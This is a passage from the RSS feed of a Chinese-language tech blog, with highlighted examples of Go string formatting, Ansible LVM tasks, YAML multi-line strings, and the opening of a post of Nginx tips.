&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Printf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;%0.2f\n&amp;#34;&lt;/span>, &lt;span style="color:#ae81ff">16.540&lt;/span>) &lt;span style="color:#75715e">// 16.54&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Printf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;%0.3f\n&amp;#34;&lt;/span>, &lt;span style="color:#ae81ff">16.540&lt;/span>) &lt;span style="color:#75715e">// 16.540&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Printf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;%0.5f\n&amp;#34;&lt;/span>, &lt;span style="color:#ae81ff">16.540&lt;/span>) &lt;span style="color:#75715e">// 16.54000&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="go-字串格式化旗標">Go 字串格式化旗標&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">package&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;fmt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Printf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;%+d\n&amp;#34;&lt;/span>, &lt;span style="color:#ae81ff">1691&lt;/span>) &lt;span style="color:#75715e">// +1691&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Printf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;%#x\n&amp;#34;&lt;/span>, &lt;span style="color:#ae81ff">1691&lt;/span>) &lt;span style="color:#75715e">// 0x69b&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Printf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;%#X\n&amp;#34;&lt;/span>, &lt;span style="color:#ae81ff">1691&lt;/span>) &lt;span style="color:#75715e">// 0X69B&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Printf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;%#b\n&amp;#34;&lt;/span>, &lt;span style="color:#ae81ff">1691&lt;/span>) &lt;span style="color:#75715e">// 0b11010011011&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Printf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;%10d\n&amp;#34;&lt;/span>, &lt;span style="color:#ae81ff">1691&lt;/span>) &lt;span style="color:#75715e">// 1691&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Printf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;%-10d\n&amp;#34;&lt;/span>, &lt;span style="color:#ae81ff">1691&lt;/span>) &lt;span style="color:#75715e">// 1691&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Printf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;%010d\n&amp;#34;&lt;/span>, &lt;span style="color:#ae81ff">1691&lt;/span>) &lt;span style="color:#75715e">// 0000001691&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="go-字串格式化寬度">Go 字串格式化寬度&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">package&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;fmt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">w&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;falcon&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">n&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#ae81ff">122&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">h&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#ae81ff">455.67&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Printf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;%s\n&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">w&lt;/span>) &lt;span style="color:#75715e">// falcon&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Printf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;%10s\n&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">w&lt;/span>) &lt;span style="color:#75715e">// falcon&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Printf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;%d\n&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">n&lt;/span>). &lt;span style="color:#75715e">// 122&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Printf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;%7d\n&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">n&lt;/span>) &lt;span style="color:#75715e">// 122&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Printf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;%07d\n&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">n&lt;/span>) &lt;span style="color:#75715e">// 0000122&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Printf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;%10f\n&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">h&lt;/span>) &lt;span style="color:#75715e">// 455.670000&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Printf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;%11f\n&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">h&lt;/span>) &lt;span style="color:#75715e">// 455.670000&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Printf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;%12f\n&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">h&lt;/span>) &lt;span style="color:#75715e">// 455.670000&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>LVM - lvg 與 lvol</title><link>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20220905-system-lvm/</link><pubDate>Mon, 05 Sep 2022 15:32:05 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20220905-system-lvm/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://ansible.cloudns.pro/post/system/lvm/" target="_blank" rel="noopener">LVM - lvg 與 lvol&lt;/a>&lt;/li>
&lt;/ul>
&lt;h5 id="卷群組">卷群組&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yaml" data-lang="yaml">&lt;span style="display:flex;">&lt;span>- &lt;span style="color:#f92672">name&lt;/span>: &lt;span style="color:#ae81ff">在 /dev/sda1 跟 /dev/sdb1 之上建立 volume group，其 extend size 設置為 32MB&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">community.general.lvg&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">vg&lt;/span>: &lt;span style="color:#ae81ff">vg.services&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">pvs&lt;/span>: &lt;span style="color:#ae81ff">/dev/sda1,/dev/sdb1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">pesize&lt;/span>: &lt;span style="color:#ae81ff">32&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="本地卷">本地卷&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yaml" data-lang="yaml">&lt;span style="display:flex;">&lt;span>- &lt;span style="color:#f92672">name&lt;/span>: &lt;span style="color:#ae81ff">建立一個大小為 512m 的 local volume&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">community.general.lvol&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">vg&lt;/span>: &lt;span style="color:#ae81ff">firefly&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">lv&lt;/span>: &lt;span style="color:#ae81ff">test&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">size&lt;/span>: &lt;span style="color:#ae81ff">512&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="範例">範例&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yaml" data-lang="yaml">&lt;span style="display:flex;">&lt;span>---
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>- &lt;span style="color:#f92672">name&lt;/span>: &lt;span style="color:#ae81ff">Create LVM for DRBD&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">hosts&lt;/span>: &lt;span style="color:#ae81ff">all&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">become&lt;/span>: &lt;span style="color:#66d9ef">yes&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">vars&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">vg_name&lt;/span>: &lt;span style="color:#ae81ff">drbdpool&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">tasks&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#f92672">name&lt;/span>: &lt;span style="color:#ae81ff">Create a new primary partition for LVM&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">community.general.parted&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">device&lt;/span>: &lt;span style="color:#ae81ff">/dev/sdb&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">number&lt;/span>: &lt;span style="color:#ae81ff">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">align&lt;/span>: &lt;span style="color:#ae81ff">optimal&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">flags&lt;/span>: [&lt;span style="color:#ae81ff">lvm]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">state&lt;/span>: &lt;span style="color:#ae81ff">present&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#f92672">name&lt;/span>: &lt;span style="color:#ae81ff">Create a volume group on top of /dev/sda1 with physical extent size = 32MB&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">community.general.lvg&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">vg&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;{{ vg_name }}&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">pvs&lt;/span>: &lt;span style="color:#ae81ff">/dev/sdb1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">state&lt;/span>: &lt;span style="color:#ae81ff">present&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#f92672">name&lt;/span>: &lt;span style="color:#ae81ff">Create a logical volume&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">community.general.lvol&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">vg&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;{{ vg_name }}&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">lv&lt;/span>: &lt;span style="color:#ae81ff">drbddata&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">size&lt;/span>: &lt;span style="color:#ae81ff">100&lt;/span>&lt;span style="color:#ae81ff">%FREE&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>YAML 裡的字串很長該怎麼做？</title><link>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20220829-long-string-in-yaml/</link><pubDate>Mon, 29 Aug 2022 15:01:40 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20220829-long-string-in-yaml/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://ansible.cloudns.pro/post/long-string-in-yaml/" target="_blank" rel="noopener">YAML 裡的字串很長該怎麼做？&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>在 YAML 裡已經有規範此部份，在這種情況有四種方法可以幫助我們：&lt;/p>
&lt;ul>
&lt;li>&lt;code>|&lt;/code>: 其下內容的換行，就是換行，最後一行會有換行。&lt;/li>
&lt;li>&lt;code>&amp;gt;&lt;/code>: 其下內容的換行，不會是換行，會變為一個很長的字串，最後會有換行。&lt;/li>
&lt;li>&lt;code>|-&lt;/code>: 其下內容的換行，就是換行，但最後一行不會有換行。&lt;/li>
&lt;li>&lt;code>&amp;gt;-&lt;/code>: 其下內容的換常，不會是換行，最後一行也不會有換行。&lt;/li>
&lt;/ul>
&lt;p>簡單的說，&lt;code>&amp;gt;&lt;/code> 跟 &lt;code>&amp;gt;-&lt;/code> 可以增加 YAML 的可讀性，又不會有多餘的換行符號。而 &lt;code>|&lt;/code> 跟 &lt;code>|-&lt;/code> 則可以讓字串跟定義的一致，在 YAML 裡看到換行，那字串裡就會有換行符號。&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yaml" data-lang="yaml">&lt;span style="display:flex;">&lt;span>---
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>- &lt;span style="color:#f92672">name&lt;/span>: &lt;span style="color:#ae81ff">Test long string&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">hosts&lt;/span>: &lt;span style="color:#ae81ff">all&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">vars&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">s1&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;hello&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">s2&lt;/span>: |&lt;span style="color:#e6db74">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> s2
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> this is my very very very
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> long string
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> line1
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> line2
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> line3&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">s3&lt;/span>: &amp;gt;&lt;span style="color:#e6db74">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> s3
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> this is my very very very
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> long string
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> line1
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> line2
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> line3&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">s4&lt;/span>: |-&lt;span style="color:#e6db74">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> s4
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> this is my very very very
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> long string
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> line1
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> line2
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> line3&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">s5&lt;/span>: &amp;gt;-&lt;span style="color:#e6db74">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> s5
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> this is my very very very
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> long string
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> line1
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> line2
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> line3&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">tasks&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#f92672">name&lt;/span>: &lt;span style="color:#ae81ff">s1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">copy&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">content&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;{{ s1 }}&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">dest&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;/tmp/s1.txt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># hello%&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#f92672">name&lt;/span>: &lt;span style="color:#ae81ff">s2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">copy&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">content&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;{{ s2 }}&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">dest&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;/tmp/s2.txt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># s2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># this is my very very very&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># long string&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># line1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># line2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># line3&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#f92672">name&lt;/span>: &lt;span style="color:#ae81ff">s3&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">copy&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">content&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;{{ s3 }}&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">dest&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;/tmp/s3.txt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># s3 this is my very very very long string line1 line2 line3&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#f92672">name&lt;/span>: &lt;span style="color:#ae81ff">s4&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">copy&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">content&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;{{ s4 }}&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">dest&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;/tmp/s4.txt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># s4&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># this is my very very very&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># long string&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># line1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># line2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># line3%&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#f92672">name&lt;/span>: &lt;span style="color:#ae81ff">s5&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">copy&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">content&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;{{ s5 }}&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">dest&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;/tmp/s5.txt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># s5 this is my very very very long string line1 line2 line3%&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>實戰經驗整理的 25 個 Nginx 技巧</title><link>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20220810-top-25-nginx-tips-and-tricks-from-practical-experience/</link><pubDate>Wed, 10 Aug 2022 12:27:28 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20220810-top-25-nginx-tips-and-tricks-from-practical-experience/</guid><description>&lt;ul>
&lt;li>
&lt;p>&lt;a href="https://hackernoon.com/top-25-nginx-tips-and-tricks-from-practical-experience" target="_blank" rel="noopener">實戰經驗整理的 25 個 Nginx 技巧&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;code>server_tokens off;&lt;/code>&lt;/p>
